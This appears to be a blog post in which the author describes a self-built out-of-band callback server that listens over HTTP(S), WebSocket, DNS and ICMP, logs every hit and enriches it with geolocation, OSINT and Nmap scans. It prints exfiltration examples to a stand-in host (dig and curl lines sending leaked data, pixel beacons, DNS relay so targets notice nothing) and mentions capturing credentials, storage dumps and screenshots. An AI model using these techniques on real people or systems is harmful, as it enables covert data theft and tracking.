So I’ve been sitting on this for a while. I’ve been working on a tool that I call Offensive Callback — a passive intelligence collection server that captures inbound traffic across HTTP(S), WebSocket, DNS, and ICMP simultaneously, enriching every hit with browser telemetry, geolocation, and automated OSINT.
This post is about the server itself: what it runs, how it listens, and the exfiltration techniques it supports. Future posts will go deeper into dealers, the JS payload, and the OSINT pipeline.
What it actually is
At its core it’s a Node.js/Express server. Nothing fancy on the outside — but the trick is it listens on four protocols at once, feeds everything into a single SQLite database, and auto-enriches each hit. Every inbound request, regardless of channel, lands in the same table with the same enrichment pipeline.
1 | ┌─────────────────────────────────────────┐ |
The entry point is main.js. Flags control which services start:
1 | sudo node main.js -ssl -dns -icmp -host 0.0.0.0 -domain callback.example.com |
Root is required for DNS (port 53) and ICMP (raw socket). For anything that doesn’t need those two, you can run unprivileged.
The four channels
HTTP(S)
This is the primary channel. Every request — regardless of path, method, or content — is logged. GET, POST, HEAD, OPTIONS: all of them. The server returns whatever the matched dealer says (file, redirect, pixel, etc.) while silently capturing the full request envelope in the Er field (base64: method + URL + headers + body).
If SSL is enabled, the server uses SSL_KEY_PATH / SSL_CERT_PATH from the environment. Without a trusted cert, browsers will refuse to load dealers injected into HTTPS pages (mixed content). For production I use a Let’s Encrypt cert with a Caddy reverse proxy in front.
WebSocket
The WS server shares the same HTTP port — no extra port needed. The JS dealer opens a WebSocket back to the server for real-time streaming. This allows continuous data push without repeated HTTP requests: beacon updates, LAN scan results, screenshot chunks, storage dumps. The connection is visually indistinguishable from any normal asset load.
DNS
When you start with -dns, the server binds to port 53 and acts as an authoritative nameserver for your domain. Any subdomain query that arrives gets logged with the full query name. This is the most useful out-of-band channel because DNS traverses almost everything — outbound firewalls, WAFs, CDN sandboxes, restricted corporate networks.
Exfiltration over DNS looks like this:
1 | dig @callback.example.com LEAKED-DATA.callback.example.com A |
The queried name lands in the database. Works even when HTTP is completely blocked. The server also supports relay mode — unknown queries can be forwarded upstream to a real resolver (DNS_RELAY=true, DNS_RELAY_IP=1.1.1.1) so the target doesn’t notice a DNS anomaly.
ICMP
The ICMP listener uses a raw socket to capture ping packets. Every ping that reaches the server is logged with the source IP. This is useful for super-restricted environments where only ICMP outbound is allowed — embed a ping in a script dealer and you at least get the source IP confirmation. SMTP and SMB listeners are on the roadmap.
Exfiltration methods
The server accepts data through multiple encoding schemes on the HTTP channel:
URL parameters and headers — the most basic. Data in a query string, a custom header, or the Referer. Works anywhere you can craft a URL:
1 | curl -I "https://callback.example.com/dealer/beacon.png?data=LEAKED-VALUE" |
POST body — for larger payloads. Browser form intercepts, credential captures, storage dumps:
1 | curl -X POST "https://callback.example.com/dealer" \ |
Image pixel beacon — zero JavaScript needed. A 1×1 PNG embed in HTML triggers the request and logs the source:
1 | <img src="https://callback.example.com/dealer"> |
DNS subdomain exfiltration — data encoded in the queried name. Survives almost every network restriction:
1 | # Base64-encode the data and split it into DNS-legal labels |
WebSocket streaming — the JS payload keeps a persistent connection open. Data is pushed as JSON messages continuously rather than individual requests. The server processes each frame and appends to the database.
CSS-only (no-JS) tracking — when JavaScript is blocked entirely, the CSS dealer fires @font-face image requests, @supports probes, and @media query pixels. Each rule that matches loads a different URL, telling the server exactly which condition fired:
- OS detection via font availability (
-apple-systemvsSegoe UIvsCantarell) - Browser engine via
@supportsdifferences between Gecko, Blink, WebKit - Screen resolution, dark mode, touch screen, HDR via
@media
The database
Everything lands in SQLite, two main tables: Log (per-request entries) and IPINT (per-IP intelligence). Every Log row links to an IPINT record. The IPINT table accumulates:
GEO: geolocation data (country, city, ISP, ASN, lat/lon)DATA: WHOIS + OSINT results (Shodan, CriminalIP, VirusTotal)INTEL: combined intelligence summarySCAN: whether an Nmap scan has been run against this IPMAC: MAC address if available from ARP/local network
WAL mode is enabled on startup to handle concurrent writes from multiple protocol listeners without lock contention:
1 | await sequelize.query('PRAGMA journal_mode=WAL;'); |
Notifications
The server can push alerts via Telegram or Discord when new hits arrive. Configured in .env:
1 | TELEGRAM_NOTIF=true |
Useful when you drop a dealer somewhere and want immediate notification when it fires, without watching the dashboard.
The dashboard
The web UI runs at /index, /callback, /dashboard, /scanners, /files, and /options. Protected by VELG_USER / VELG_PWD. The /callback view is the live feed — every new log entry appears in real time via WebSocket. The /scanners view lets you trigger Shodan/CriminalIP/VirusTotal lookups and Nmap scans manually, and the IP blacklist (iptables integration) is managed from /options.
Next post: Dealers — how the server routes requests, all dealer types, and how I’ve used them in practice.
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)
![Chrysalimon [Adult / Unknown] Chrysalimon](/blog/img/digimon-pets/chrysalimon.gif)